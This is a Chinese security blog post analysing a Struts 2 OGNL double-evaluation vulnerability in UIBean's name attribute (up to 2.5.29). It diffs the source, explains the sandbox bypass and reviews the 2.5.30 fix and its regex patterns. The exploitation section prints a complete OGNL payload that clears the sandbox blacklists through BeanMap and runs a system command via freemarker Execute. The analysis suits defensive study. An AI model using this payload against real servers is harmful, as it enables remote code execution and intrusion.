前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
影响版本Struts 2.0.0 - Struts 2.5.29,这里使用Struts 2.5.29。
根据官方通告,问题出在其他标签的某些属性中,下载Struts 2.5.29和Struts 2.5.30的源码,diff一下两个版本的UIBean类:
可以看到Struts 2.5.29的这段代码:
String expr = completeExpressionIfAltSyntax(name);
if (recursion(name)) {
addParameter("nameValue", expr);
} else {
addParameter("nameValue", findValue(expr, valueClazz));
}
以name解析后的expr作参数调用findValue,这里很有可能存在一个双重评估,看一下completeExpressionIfAltSyntax函数:
// Component.java
protected String completeExpressionIfAltSyntax(String expr) {
if (altSyntax() && !ComponentUtils.containsExpression(expr)) {
return "%{" + expr + "}";
}
return expr;
}
// ComponentUtils.java
public static boolean containsExpression(String expr) {
return expr != null && expr.contains("%{") && expr.contains("}");
}
如果name中没有%{}就加上去,再看一下recursion函数:
// Component.java
protected boolean recursion(String expr) {
return ComponentUtils.altSyntax(stack) && ComponentUtils.containsExpression(expr);
}
很明显containsExpression函数这里对双重评估做了一点点防护,然而虽然禁止了name中的%{},但是它自己又会给name加上%{}变成expr,所以这里的代码写了个空,我们还是可以通过这里的双重评估执行表达式。
修改模板文件,在name属性中添加一个表达式:
<s:label name="%{username}"/>
输入username为:
#{#application['org.apache.catalina.resources']}
可以看到发生了双重评估,输入的username作为表达式执行了:
漏洞利用
先版本禁止了通过DefaultInstanceManager创建对象,但是没有禁止通过BeanMap调用某个对象的setter和getter,所以我们只要找到新的创建对象的方法就可以继续绕过沙盒。
payload中使用的是这样的写法:
#@org.apache.commons.collections.BeanMap@{}
效果如下:
该版本的#attr没有了:
但是#request中还有OgnlValueStack:
把S2-061的payload改一改就能用了,清空黑名单之后可以获取application中的InstanceManager对象来创建Execute对象完成命令执行,最后的payload:
data1 = {
"username":
"(#beanmap=#@org.apache.commons.collections.BeanMap@{})."
"(#stack=#request['struts.valueStack'])."
"(#beanmap.setBean(#stack))."
"(#context=#beanmap.get(\"context\"))."
"(#beanmap.setBean(#context))."
"(#memberAccess=#beanmap.get(\"memberAccess\"))."
"(#beanmap.setBean(#memberAccess))."
"(#beanmap.put(\"excludedPackageNames\", #@org.apache.commons.collections.BeanMap@{}.keySet()))."
"(#beanmap.put(\"excludedClasses\", #@org.apache.commons.collections.BeanMap@{}.keySet()))."
"(#application['org.apache.tomcat.InstanceManager'].newInstance(\"freemarker.template.utility.Execute\").exec({\"calc.exe\"}))"
}
漏洞修复
在Struts 2.5.30中,漏洞代码改动如下:
boolean evaluated = !translatedName.equals(this.name);
boolean reevaluate = !evaluated || isAcceptableExpression(translatedName);
if (!reevaluate) {
addParameter(NAME_VALUE, translatedName);
} else {
String expr = completeExpressionIfAltSyntax(translatedName);
addParameter(NAME_VALUE, findValue(expr, valueClazz));
}
发生双重评估时translatedName与name不等,因此evaluated为true,所以reevaluate的取值取决于isAcceptableExpression函数,其代码如下:
protected boolean isAcceptableExpression(String expression) {
NotExcludedAcceptedPatternsChecker.IsAllowed isAllowed = notExcludedAcceptedPatterns.isAllowed(expression);
if (isAllowed.isAllowed()) {
return true;
}
LOG.warn("Expression [{}] isn't allowed by pattern [{}]! See Accepted / Excluded patterns at\n" +
"https://struts.apache.org/security/", expression, isAllowed.getAllowedPattern());
return false;
}
notExcludedAcceptedPatterns是一个DefaultNotExcludedAcceptedPatternsChecker对象,其包括一个黑名单对象DefaultExcludedPatternsChecker:
public static final String[] EXCLUDED_PATTERNS = {
"(^|\\%\\{)((#?)(top(\\.|\\['|\\[\")|\\[\\d\\]\\.)?)(dojo|struts|session|request|response|application|servlet(Request|Response|Context)|parameters|context|_memberAccess)(\\.|\\[).*",
".*(^|\\.|\\[|\\'|\"|get)class(\\(\\.|\\[|\\'|\").*"
};
通过黑名单之后是一个白名单对象,只有符合白名单的才会通过校验:
public static final String[] ACCEPTED_PATTERNS = {
"\\w+((\\.\\w+)|(\\[\\d+])|(\\(\\d+\\))|(\\['(\\w|[\\u4e00-\\u9fa5])+'])|(\\('(\\w|[\\u4e00-\\u9fa5])+'\\)))*"
};
public static final String[] DMI_AWARE_ACCEPTED_PATTERNS = {
"\\w+([:]?\\w+)?((\\.\\w+)|(\\[\\d+])|(\\(\\d+\\))|(\\['(\\w|[\\u4e00-\\u9fa5])+'])|(\\('(\\w|[\\u4e00-\\u9fa5])+'\\)))*([!]?\\w+)?"
};
看起来就很麻烦的正则。
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!